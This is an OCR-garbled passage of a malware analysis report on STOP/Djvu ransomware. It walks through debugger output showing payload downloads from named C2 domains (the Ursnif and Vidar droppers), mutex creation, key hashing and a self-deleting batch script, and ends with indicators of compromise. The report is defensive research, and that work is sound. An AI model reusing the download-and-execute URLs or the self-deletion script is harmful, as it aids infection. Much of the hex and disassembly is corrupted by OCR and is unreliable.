68 00 80 1A 06 push &1A8000 X87SW_SF O XB75wW_P 1 XB7SW_U o
! g’: ig 74 €1 21 00 g:?"l‘ &mrd pEtridsi[<acreateThread>] = v Default (stdcall) = DUnIodc
‘dword ptr [0021C174 <wininet_dump.&CreateThread-]=<kernel32.CreateThreads ;1» E::glﬂ 061A3000
3: [esp+8] 0016DBDO wininet_dump.0016DBDO
. text:0016A7BB wininet_dump. exe: S1A7BE #1A7BB £ Lot B asinae
Woump1  @ypump2 Wypump3  @Woump4  @NDumps @ watch1  Ix-llocals & struct
[Asciz I n wininet_dump.0016DED0

Figure 136

Address | Hex
02950920 [ID0] 00 00 00|00 00 0O 00|00 00 00 00
02950930|00 00 00 00|00 00 OO0 00(00 00 00 00|00 00 00 0O

00 00 00 00

Thread activity — StartAddress (sub_16DBD0)

UuidCreate is utilized to generate a new UUID:

push eax : R =
call dword ptr ds:[<&yuidcreate]

0000
003CEZEC | 061AB000
003CE2CO | 0016DEDO
003CE2C4 | 02932D80
0D03CE2CE | 00000000
003CE2CC | 00263258

wininet_dump.00263258

v
Default (stdcall) ~|[5 ][] unod:
1: [esp] OBAEDACS

dword ptr [0021C300 <wininet_dump.&UuidCreate>]=<rpcrt4.Uuidcreates

. text:0016DD3C wininet_dump.exe: $1DD3C #1DD3C

2: [espr4] OOLEDBDO wininet_dump.0016DBDO
3: [esp+8] 0016DBDO wininet_dump.0016DBDO
4: [esprC]_02E80638

| T ==l = = === g e [
Address | Hex ASCII
OBAEDACE |17 5D 1D BO|A6 F8 08 4C|AD CA &1 3B|20 E6 28 1C|.].° .@.L.Ea; ®(.

Figure 137
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The UuidToStringA routine is used to convert the UUID to a string:

50 push eax

8D 84 24 14 01 00 00 Tea eax,dword ptr ss:[esp+114]
0016DD5 6 5 push eax

FF 15 0C €3 21 00 call dword ptr ds:[<&UuidToStringas]

X87SW_CO O
X87TSW_P O

‘ XB7SW_CL 0 X87SW_ES O

XB7SW_SF 0

IC
v
= Default (stdcall)

dword ptr [0021C30C <wininet_dump.&UuidToStringA>]=<rpcrt4.UuidTostringAs

. text:0016DD57 wininet_dump.exe: $1DD57 #1DD57

Whoump1 g oump 2
Address Hex

02E201E8|62 30 31 64
02E201F8 |30 38 2D 61
02E20208/32 38 31 63

Figure 138

Woump3  Wipump4  @Woumps @ watchi  [e=lLocals

ASCIT
36 2D 34 63| b0ld5dl7—T8a6-4c
32 30 65 36|08-adca-613b20es
AB FE EE FE|R2B1C.cacacacabib

P struct

35 64 31 37
64 63 61 20
00 AB AB AB

2D 66 38 61
36 31 33 62
AB AB AB AB

DI!AEI:HCB|

X87SW_U O
[esp] OBAEDACS

~ [5_2][ unod:
[esp+4] OBAED420

[esp+a] 0016DEDO wininet_dump.0016DEDO
[esp+C]_0016DEDO wininet_dump. 0016DEDO

R
2
3:
41

DBAED384 | 0BAED420

The malicious process creates a new directory based on the UUID generated above:

6a 00 push 0
push ebx

call dword pEr dst[<aCreateirectoryas]

53
FF 15 70 €1 21 00

X87SW_SF O XB7SW_P 0O XB7SW_U O

~ |[5 ][] unod
[esp] 02E99758

Default (stdcall)

dword ptr [D021C170 <wininet_dump.&CreateDirectoryA>]=<kernels3z2.CreateDirectorya>

. text:0016DDDC wininet_dump. exe: $1DDDC #1DDDC

WWoump1  @Wpump?  Wipump3  @Moump4  @4pumps @ watch1  [xsllocals 4 Struct
ASCII -~
3A 5C 55|73 65 72 73|5C 2C 41 70 70(8:\Users' \App
61 74 61|5C 4C 6F 63|61 30 31 64 35|Data'\lLoca 01ds
31 37 20|66 38 61 36(2D 34 63 30|38 2D 61 64|dl7-fBaGc-4c08-ad
02E99788| 63 61 2D 36(31 33 62 32(30 65 36 32|38 31 63 00|ca-613b20e6281c.

Figure 139

usersy) \AppData\\Loc.
[esp+4] 0000000D

[esp+8] 0016DBD0 wininet_dump.0016DBD0
: [esp+C]_0016DBDO wininet_dump.0016DEDO

wininet_dump.0016DEDD
wininet_dump.D016DED0

The binary performs a GET request to http[:]//znpst[.]top/dl/build2.exe using InternetOpenUrlA:

50 push eax

eax:"ht
57 push edi
FF 15 BC €3 21 00 call dword ptr ds:[<aInternetopenur1as]
>
dword ptr [0021C3BC <wininet_dump.&INTernetopenur 1A>]=<wininet. Internetopenur 14>

| x87SW_SF 0 x87SW_P 0 x87SW.U 0
vl
Default (stdcall)

= |[5_2] [ unlock
1: [esp] 0OCCH

.TexT:0016E07B wininet_dump. exe: §1E07B #1E078

BeDbump 1 @Ypump2 W4 Dump3

0008
[esp+4] 02E84138 “"http:/ /znpst.top/d1/buildz.
[esp+s] oooooooo
[esp+c]_oooooooo

Figure 140

According to the analysis from

https://any.run/report/cd6bf2f554a9aa446cb36d28e374e1010268cbda8f55eb0043fbe6e2724128be/152e55¢2-5e8f-

" " = &) 8
Woump4  WWoumps @ watchi  Ivellocals ¥ Stuct 02E84138 | “http: //znpst.top/d1/build2. exe™
Address | Hex | AscII ] ~
02E99798( 00 00 00 00|00 0O 00 00|00 00 OO 00|00 00 00 00 gﬁg;;ﬁ 00000000
g2esa748] 00 90 9 00|02 99 99 29|90 9 20 90]99 93 0 02 OBARD384 0000000

4fe2-a764-7876ba00f03e, the above executable is a malware called Ursnif (banking Trojan).

The status code is extracted by calling the HttpQueryInfoW routine (0x20000013 =

HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE):

i 6A 00 push 0

i 8D 84 24 BC 00 00 00 lea eax,dword

i €7 44 24 7C 00 00 0O OO mov dword ptr

g 50 push eax

i 8D 84 2z4 BO 00 00 0O lea eax,dword esp+3C
i €7 84 24 CO 00 00 00 04 00mov dword ptr ss

H 50 push eax

H 65 13 00 00 20 push 20000013

> 57 push edi

4 FF 15 B4 C3 21 00 €all dword ptr ds:[<&HttpQueryInfows]

dword

v
Default (stdcall)

Aur e o gmmpeyy Awsies s genmeyy
X87TW_4 3 (Empty) XB7TW_5 3 (Empty)
X87TW_6 3 (Empty) XB7TW_7 3 (Empty)
x87statusword 0000

X87SW_B O XB7SW C3 0
XB7SW_C1 O XB7SW_CO 0
XB7SW_SF 0 XB7SW_P 0

XB7SW_€2 O
XB7SW_ES O
X87SW_U O

= |[5_2] [ unlock

ptr [0021C3B4 <wininet_dump.&HTTpQUEryINfow>]=<wininet. HTLpQUeryIntows:

.TEeXT:0016E10D wininet_dump. exe: $1E100 #1E10D

e

[esp] DOCCO010
[esp+4] 20000013
[esp+s] 0BAED420
4: [esp+C] OBAED470

Figure 141

A file called “build2.exe” is created in the new directory:
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Wioumpt  @Wipump2z @Whpump3  @loump4  @loumps @ watchi  ellocak 4 Stuct
Address | Hex | Asciz ] ~
0BAED430|00 00 00 uo‘ou 00 00 ou|uo 00 00 ou|uo 00 00 ou| ‘ gmg;:ﬂ OBAED470
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. [BER AS/im_w 3 \CmpLY)  AGrin_3 3 LSmpuy)
o e o ss:Hesp+5oll xB7TW_6 3 (Empty) x87Tw_7 3 (Empty)
. ush :
. ‘ﬁm 2 xB75tatusword 0000
s push %57 SW_E XB7SW_C3 0 0
. | push 1 XB7SW_CL 0 0 0
o 00 40 push 2 XB7SW_SF 0 0 o
. push eax |ax: "c =
Eg—> F8 €1 21 00 | E&TN dword ptr ds:[<aCreaterilea>] | v e i
. , | Default (stdcal) ~ (5 2] unloct

= es| 02E9A040 "C: users’ Al ata‘\\Loc
Gword ptr [00ZICIFE Zwininet_dump.&createrileas]—<kernslsa.Createrilens ¢ :,81 o — VIl AmpoaTat

. text:0016E288 wininet_dump.exe: $1E285 #1E288

8% Dump 1 §%% Dump 2 B% Dump 3 §% Dump 4 % Dump 5 «! Watch 1 [x=] Locals Struct OBAED A0 | 40000000
0BAED3A4| 00000001 |
:Sgd’"“ews.s | Hex * | oEAED3AS | 00000000 |
2 0BAED3AC |
02E9A05
02E9A06| e

02E9A070 |
02E94080 |

Figure 142

OBAED2B4

The InternetReadFile routine is utilized to read the executable from the server, as displayed in figure 143:

. X87Statuswora 0000

. g XB7SW_E O V_C o
. 01 00 X87SW_C1 0 o
. XB7SW_SF 0 o
o | push eds | i
o FF 15 A8 €3 21 00 | €211 dword ptr ds:[<sInternetrReadrilex] | v

.

Default (stdcall)

[esp] 00CCO010

[ ] OBAED4DS
00002800
OBAED438

dword ptr [0021C3A8 <wininet_dump.&InternetReadrile>]=<wininet.InternetReadrile>

.TexT:0016E2C7 wininet_dump.exe: $1E2C7 #1E2C7

8% Dump 1 4% Dump 2 4%/ Dump 3 B4 Dump 4 4% Dump 5 "‘.'.g Watch 1 [x=] Locals Struct OBAED3AC | 0BAED4DS |

0BAED3E0 | 00002800
ASCIZ - ~ " | OBAED=B4 | DBAED428 |

Figure 143

ShellExecuteA is used to run the newly created executable:

. | push 1 g X8/ IW_6 5 (EMPTY) X8/ IW_/ 3 (EMPTY)
. cmovae eax,dword ptr est
. push x875tatusword 0000
. | push c2
. | push eax eax: "C Es
. | push
. 6A O | push o I - T e
EIP g e 0 FF 15 1C €3 21 00 | €@l dword ptr ds:[<&Shel 1IExecuteA>] | = = = 1
T e 2 5 |Default (stdcal) = |[5_[] (] unod:
1: [esp] 00000DOO
dword ptr [0021C3IC <wininet_dump.&ShellExecuteAs]=<shell132.5hel IEXecuteA> > LESSL- 00000000
3: [esp+8] 0zevan40 "c:v\users'\ JJll\\Apppata\\L
4o 4: [esp+C] 00000000
. TeXT:0016E34D wininet_dump. exe:$1E34D #1E34D =
F 5 EEELE] 00000000
Joump1  @pump2  @Dump3  @MDump4 B Dump 5 Watch1  I==llocals Struct OBAED3AZ | 000000OH

o |
| 0BAED3AS | 02E9A040 | “C:h\\Users\\IIll\\AppData\\Local\\b0old5d17-1

.’SEE%MDA DBAED3AC | 00000000
02E9A050 0BAED3BO | 00000000 |

3B4| 00000001
365 | 0016DBDO | wininet_dump.0016DEDO
| 0016DBDO | wininet_dump.0016DEDO

02E9A060
02E9A070
02E9A080

Figure 144

0BA|

63 61 2D 3
75 69

om0

5 | ca-613b20e6281c)
AD BAlbuildz.exe.®.0.

Fake Net Mini Program

FakeNet Mini Program has been run

Figure 145

The binary performs a GET request to http[:]//securebiz[.]org/files/1/build3.exe using InternetOpenUrlA:

50 push eax @ eax: "ht XB7SW_SF D  X875W.

| push eds |
FF 15 BC €3 21 00 | €21 dword ptr dsz[<sInternetopenurla-] |

Defaut (stdcal) ~|[5 2] urlock
[esp] 00CCO008

[esp+4] 02E12010 "http://securebiz.org/files
sp+

dword ptr [0021C3BC <wininet_dump.&InternetopenUr1A>]=<wininet.Internetopenur1A>

0000000
00000000

wr

ol - = SpC
.text:0016E078 wininet_dump. exe: S1E078 #1E07B

00CCO00E |

OBAED3A4| 02E12010 | "http://securebiz.org/files/1/builds. exe”
7 DEAEDBASEDDDDDDDD-
e el — ™ | 0BAED3AC | 00000000 |
EE FE EE FE|EE FE EE FE 5 OBAED380| 00000000 |
0BAED3B4| 00000000

Woumpt  pumpz  @Hoump3  WWpump4  WHoumps @ wamhi  Ix-llocals
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Figure 146

According to multiple online resources, the above file is supposed to be an infamous info-stealer called Vidar. The
process of reading data from the server, creating the malicious file, etc. is the same as above and isn’t explained

again.

For completeness, we will also provide details about the other parameters that can be used, as displayed at
https://app.any.run/tasks/635cd7df-e4b7-4d1a-a937-e8d8599e6c72/.

“—ForNetRes “jwvifPPgZoQyg6Q6he8weP7iDsHIFKc74ICjysAt2"”
r77yXePcnmrctJPWrZCcbJgUIAtOalFC9Na710t1 IsNotAutoStart IsNotTask” parameters

The binary creates a mutex called “{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}” using the CreateMutexA
APL:

68 20 44 25 00 push wininet_dump.254420 254420: X875W_C1 0 xB7S5W_CO O XxB7SW_ES 0O
6A 00 push 0 X87SW_SF 0 xB7SW_P 0O xXB7SW_U o
6A 00 push 0
FF 15 30 C1 21 00 call dword ptr ds:[<aCreateMutexa>] v -
5 |pefoult stica) ~|[5_[£]0 urlock
= 1: [es|
dword ptr [0021C130 <wininet_dump.&CreateMutexA>]=<kernel3z.CreateMutexas 7t Eesglﬁ 00000000
3: [esp+8] 00254420 "{FBB4BCCG-05C7-4ADD-B67B-A
o 4: [esp+C] 00174141 <wininet_dump.EnTryFoints>
. TeXT:0016A8BF wininet_dump.exe: $1ABBF #1ASBF

P 00000000
Woump1  @Dump2  @oump3  WiDump4  @Woump5 @ watchi  brellocals ¥ Stuct %
laddracs Tuav Tasrvr T =l 00254420

Figure 147

" {FBE4BCCE-05C7-4ADD-BE7B-AD8AE97323C1}"

According to online sources, the first parameter can be considered as a Key and the second one as a Personal ID.

The malware performs a hashing operation (MD5) on the Key:

6A 00 push 0
56 push esi esii"iu x87statusword 0000
FF 15 E8 €1 21 00 call dl\urd ptr ds:[<&lstrienA=] X87SW_B O XB7SW_C3 0 XB7SW.CZ O
50 push ea X87SW_C1 0O XB87SW_CO O XB7SW_ES O
56 push 251 esiz"jn X87SW_SF O XB7SW_P 0 XB7SW_U O
FF 75 E8 push dword ptr ss:[[abp-13]
FF 15 18 €O 21 00 call dword ptr ds:[<&CryptHashData>] v
5 |Default stdcal) ~ [5_[2][ unlock
— - 1: [esp] 03016720 <&CPCreatenash-
dword ptr [0021C018 <wininet_dump.&CryptHashData-]=<advapiz2.CryptHashDatas> 2: [espt4] 0301BE38 "jwvFPPQZoQygeQeheBweP7iDsH
3: [esp+8] 00000028
o 4: [esp+C] 00000000
. TexXT: 00161064 wininet_dump.exe:$11064 #11064

" jwvFPPgZoQygeQ6heBweP7 iDSHIFKCT41CTysAL2"

& 03016720
Woump1  @pump? @oump3  @ipump4  @Houmps @ wathi  Ixellocals ' Struct DOBOEGGD| 03018E98
|Address Hex. [AscIz I ,."
S — 1

Figure 148

The hash value is extracted using the CryptGetHashParam function (0x2 = HP_HASHVAL):

push o X8/5TATUSWOrd ULUU
push eax XB7SW_B 0O XB7SW_C3 0O xXB7SW._C2 O
push Ed1 X87SW_C1 0 XB7SW_C0O O XB7SW_ES O
XB7SW_SF 0 XB7SW_P 0 XB7SW_U o

push dword ptr ss:[ebp-13]
call esi esiiCry v

5 | Default (stdcal) ~|[5 1] (] unlod

- - 1: [esp] 03016720 <&CPCreateHash>
esi=<advapi3z.CryptGetHashParam> (73ASFAED) 2: [espt4] 00000002

3: [espr8] 0301BCO0
4: [esp+C] 00BIEGAL

.TexT:001610DE wininet_dump.exe: $110DE #110DE

&) 03016720

Woump1  @oump2  @Yoump3  @hpump4  Whpumps @ watchi | Bellecals ¢ Struct ‘DOBIEESC | 00000002
O0B9EGE0 | 0301BCOO

Sgg;;::c» :;xm 00 00[00 00 00 00[00 00 00 00[0D 0D 00 00 o DOBSEGA4
e e R oo 0 DOZa0R00Re0 | WErrersee: Liiiiii 00BIEEES | 00000000

Address | Hex ASCII
0301ECO0[57 48 3£ AF|8D 21 F8 B9|E6 D8 1E 9F |98 11 24 FE|WH> .10 ®D....%p

Figure 149

The execution flow is similar to the one starting with figure 90 and will not be reiterated.

“—Service 4904 “jwvfPPgZoQyg6Q6he8weP7iDsHIFKc74ICjysAt2”
r77yXePcnmrctJPWrZCcbJgUIAtOalFC9Na710t1” parameters

The above value represents the parent process ID, which is converted from string to a long integer value:
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6A DA push A XB7SW_C1 0 x87SW_CO 0O x875W_ES O
6A 00 push 0 5 4 XB7SW_SF 0 X87SW_P 0 X875W_U o
EF 75 08 push dword ptr ss:[febp+5] [ebp+8] |y =
E8 EO DA 00 00 €311 wininet_dump.181781 wcstol v
Defauit (stdcal) ~|[s 2] unlodt
>
— 1: [esp] 02997810 L"4304"
wininet_dump. 00181781 3: [espra] D00DOOOO
3: [esp+8] DODODOOA
. 4: [esp+C] ODGFF974
.TeXT:00173C9C wininet_dump.exe: $23C9C #23C9C

& 02997810 | L"4904"
@Woump1 | @oump2  @oump3  @oump4  hpumps @) watth1  Ir-llocals 2 Struct F@OOBFE4BC DDDDODDD
Addracss luav Tacrrr T B I

Figure 150

The ransomware opens the local process object using the OpenProcess routine (0x100000 = SYNCHRONIZE):

56 push esi XB7SW_CL 0 x875W.CO 0 X875W_ES O

64 00 push 0 XB7SW_SF 0 x875W_P 0 x87SW.U O

€3 00 00 10 00 push 100000 I T

FF 15 AC CO 21 00 call dword ptr ds:[<&OpenProcess>] v

: 5 | Default (stdcall) ~ [5_1][ unlock
. 1: [esp] 00100000
dword ptr [00ZICOAC <wWininet_dump.ROPEnProcesss]=<kernels2.0penProcesss 2: [esprd] D0D0O0OO
3: [esp+8] 00001328
- 4: [esp+C] 00174141 <wininet_dump.EntryPoint>

.TeXT:0016A390 wininet_dump. exe: $1A390 #1A390

o) 00100000
WWoump1  @oump2  UMoump3  @iDump4  WWoumps @ watchi  Ixellocals ./ Struct m
Lddrass [hew lasrTr T . || DOEFE45C | 00001328

Figure 151

After the parent process enters the signaled state, the file dispatches incoming sent messages, checks for posted

messages, and then retrieves the messages:

00161ACL 6A 01 push 1 x87Statusword 0000
0

.
B 6A 00 push 0 XB7SW_B 0 xX87SW.C3 0 x875W.C2 O
o 6A 00 push © XB7SW_C1 0 x87SW_CO O x87SW_ES O
B 6A 00 push 0 XB7SW_SF 0 X87SW_P 0 x87SW_U 0O
. 50 push eax
. FF D6 call esi esi:Pee v
5 |Default Gtdcal) ~ [5_2][ unodk
= 1: [esp] OOGFE47C
esi=<user32.PeekMessagen> (75D07C50) Z: [espra] DODDOGOD
3: [espr8] D0DOOOOO
St 4: [esp+C]_D0D0DOOO
.Text:00161ACA wininet_dump. exe: S11ACA #11ACA ;
P DDGFE47C
Woump1  Yoump2  WWoump3  WWpumps  @Moumps @ wathi  Iellecals P stuct i L
Address | Hex | Asciz ] ~
00GFE47C [[€8/03 00 00[C8 03 00 00[oD ER E6 76[F4 01 00 00|E...E....eavs,..| %g:i:;’g D0000DOL

Figure 152

The malicious binary retrieves the exit code of the current process and then kills itself using TerminateProcess:

Jtext:esleAd1s call ds:GetCurrentProcess

Ltext: 881684418 mov esi, eax

Jtext:@8leA41D mov [esp+14D@h+ExitCode], @
Jtewt:@016A425 lea eax, [esp+l4Deh+ExitCode]

Jtewt: 88164429 push eax ; 1pExitCode
Jtewt:@aleAd28 push esi ; hProcess
Jtext:enleA42B call ds:GetExitCodeProcess

text: 88168431 push [esp+14DBh+ExitCode] ; uExitCode
Ltext:@8l68435 push esi ; hProcess
Jtext:esleAd36 call ds:TerminateProcess

Figure 153

Finally, we describe the case when the country code belongs to the following list: “RU”, “BY”, “UA”, “AZ”,
“AM”’ “TJ”’ ‘KKZ”, “KG!!’ K(UZ!’ and “SY”‘

CreateMutexA is utilized to create a mutex called “{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}”:

6 gu 34 g5 LU PUSN WININET_aump. 254420 zsaszu: X5/CONTroIwora vz/k

6A 00 push 0 X87CW_IC O xB7CW_ZM 1 XB7CW_PM 1
6A 00 push 0
FF 15 30 €1 21 00 €all dword ptr ds:[<eCreateMutexas] v —
5 |pefeut (stacal) ~|[s_ E]0 unlock
1: [es|
dword ptr [0021C130 <wininet_dump.aCreateMutexA=]=<kernel32.createMutexAs 2t Eesglﬂ 00000000
3: [esp+8] 00254420 "{FBB4BCCE-05C7-4ADD-B67B-A
. 4: [esp+C] 00174141 <wininet_dump. EntryPoints
. TeXT:00162550 wininet_dump. exe:$12550 #12550

&) 00000000
@oump1 | @pump2  WDump3  Wloump4  WuDump5 @ watch1  Ivellocals ¥ Struct O12PDASS | DODDODOD
[adrraes Tuaw Tasrrr T Tl p1zFDAC | 00254420

Figure 154

"{FBE4BCCE-05C7 -4ADD-BE7B-A9IBAEI7323C1}"

A batch file called “delself.bat” is created in the % TEMP% directory:
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o o0 norinim 3 Lsmpiys  Aerinis 3 Lemmeys
Ea atitre oo op X87TW_6 3 (Empty) x87Tw_7 3 (Empty)
6A 02
6A 00 x875tatusword 0000
6A 03 3 XB7SW_B O XxB7SW.C3 0 xB875wW_C2 0O
68 00 00 00 CO push C0000000 XB7SW_C1 O XB7SW.CO O XxB7S5W_ES 0O
8D 85 98 FE FF FF lea eax,dword ptr ss:[ebp-163] XB7SW_SF O XB7SW_P 0 XB7SW_U o
50 push eax eax:"C:
FF 15 F8 C1 21 00 €all dword ptr dsi[<acreaterileas] v
. - - 5 |Default (stcal) ~|[5 2] urlock
2 e 012FE480 “"C:\\Users Al ata\\Loci
dword ptr [DOZICIFS <wininet_dump.&CreaterileAs =<kernel32.CreateFileAs T T Vil Appoataly
[esp+8] 00000003
o 2: [esp+C] 00000000
.TeXT: 00162607 wininet_dump.exe:$126D7 #126D7

Wyoump1  @pump? WhDump3  UWDump4  UWoump5 @ Watchi  Ie-llocals 4 Stuct SUREEEY RAPHIRERT DERINT SR TR E T Bt

Address | Hex ASCII ~
O12FE480[43] 3A 5C 55(73 €5 72 73[5C 5C 41 70 70 C:\USers“\App
012FE490(44 61 74 61|5C 4C 6F 63|61 6C 5C 54|65 60 70 5C|Data‘Loca mp,
012FE4AD |64 65 7 2E(62 61 00(00 00 00 00fdelself.bat.....

012FDA38| C
012FDAZC
012FDA40
012FDA44
012FDA45
012FDAAC

The above file is populated using the WriteFile API, and its content is displayed below:

B R S
& 15 £c ?:ghegx,dwnrd ptr ss:[Jebp-4] AN G (ENOTY) AW (EnpTy])
2B CA sub ecx,edx edx: eg

50 push eax aax: "@e xg7statusword 0000

51 push ecx XB7SW_B 0 xB75W_C3 0 x875W.C2 0
8D 85 B0 F9 FF FF Tea eax,dword ptr ss:[Jebp-630[ XB7SW_CL 0 xB75W_CO O x875W_ES 0
50 push eax eax: "@e X87SW_SF 0 XB7SW_P 0 x87SW_U 0
53 push ebx

FF 15 A4 CO 21 00 €all dword ptr ds:[<&nriteriles]

v
5 |Default (stdcal) =[5 unlock

1: [es 3C8
dword ptr [D021COA4 <wininet_dump.&Writerile»]=<kernel3z.WriteFile> 2: Egsg+4} 012FDF68 "@echo of f\r\n:itry\rindel \'
3: [esp+8] 0000DDA2
4: [esp+C]_012FESE4

. text: 00162700 wininet_dump.exe: $12700 #12700

M " " " m o @) ‘000003C3
Woump1  Yhoump2  Yhoump3  Youmps  Woumps @ watchi  eellocsls 7 struct 012FDA40| D12FDF68 | "@echo of fyr\n:try\rindel \"C:\\Users\ Il
012FDA44 | 000000A;
| Qggressg :;lﬁs 63 20 6F 66|66 0D OA 79 0D I gill I . R e PR e
- P s i .A‘__ —_——— == _.l - A" 012FDA4C | 00000000

Figure 156

[ debelfbot (3 |

Zecho off

2 ity

2z del "C:“\Users'\JJJ} Deskcop \WININE~1.EXE"

4  if exist "C:\UsersJ i Deskcop \WININE~1.EXE" goto try
5 del "C:\Users"JJ2ppData'\Local\Tenmpidelself.batc"

Figure 157

After the batch file finishes its execution, the malicious file and the script are deleted:

50 push eax " eax: ™" | xg7Tagword FEFE
gcna 45 AD 1sgheg;;dwurd ptr ss:[febp-sof] = XETTW.0 3 (Empty) x87TW.L 3 (Empty)
s [rapi S X87TW_2 3 (Empty) x87TW_3 3 (Empty)
e 00 gush = X87TW_4 3 (Empty) x87TW_5 3 (Empty)
€A 00 BiEh O X87TW_6 3 (Empty) x87TW_7 3 (Empty)
6A 00 push 0
6A 00 push 0 x875tatusword 0000
6A 00 push o XB7SW_B 0 x875W_C3 0 x875w C2 O
8D 85 78 F4 FF FF lea eax,dword ptr ss:[[ebp-B3&] XB75W_C1 0 x87SW_CO O x875W_E5 0O
50 push eax eax: "\ XB7SW_SF O x87SW_P 0 x875W_U 0O
6A 00 push 0
FF 15 DO €O 21 00 call dword ptr ds:[<&CreateProcessa>] v
- - 5 | Default (stdcal) ~|[5 2] urlock
s
dword ptr [0021C0DO <wininet_dump.aCreateProcessA>]=<kernel32.CreateProcessi» Egsgl‘,} o12¢pAGD "\ "c:\\usersy Il \Appoata)
: [esp+8] 00000000
H esp+C] 00000000
.TexTt: 00162788 wininet_dump.exe:$12788 #12788 [e=piCl

" ” " " " 28 7 &) 00000000

Wooump1  @oump2  @4Dump3  @4Dump4 @4 Dump5 ) Watch 1 [r=llocals g% Struct D12FDAZC | 012FDAGD | " "c:\\Users\Jlll\\AppDatal\Local\\Temp\\delselT. bat\""
‘012FDA30| 00000000

SIS | il ASCI1 " | 012FDAZ4 | 00000000

012FDA90|00 00 00 0000 00 OO 00|00 0D 00 00|00 00 00 00 SEEeiasl e

012FDAAC| 00 00 00 00|00 0O 00 00|00 0O 00 00|00 00 00 00 D12FDA3C | 00000000

012FDABO| 00 00 00 00|00 0O 0O 00|00 0O 00 00|00 00 00 0O SRS aEEE

012FDACC| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 00 D12FDA44 | 00000000

012FDADO| 00 00 00 00|00 00 OO 00|00 0D 00 00|00 00 00 00 Al AT GiaREn

pieoical giefonionton|anfagon oo odenconfon| pujonfonfon Sitroasc | bizrEsns

Figure 158
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MalwareBazaar:
https://bazaar.abuse.ch/sample/4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe/

OpenSSL: https://github.com/openssl/openssl

INDICATORS OF COMPROMISE
C2 domains:
e securebiz[.]org
e znpst[.]top
SHA?256: 4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe
Scheduled Task: “Time Trigger Task”
Registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper
User-agent: “Microsoft Internet Explorer”
PDB paths:

e “C:\xudihiguhe\jegovicatusoca\jijetogez\winucet\xusev\kucor.pdb”

e “e’\doc\my work (c++)_git\encryption\release\encrypt_win_api.pdb”

URLs:

http[:]//securebiz[.]org/thsgtsspen6/get.php

http[:]//securebiz.org/files/1/build3.exe

http[:]//znpst.top/dl/build2.exe

https[:]//api.2ip.ua/geo.json

Source: https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/
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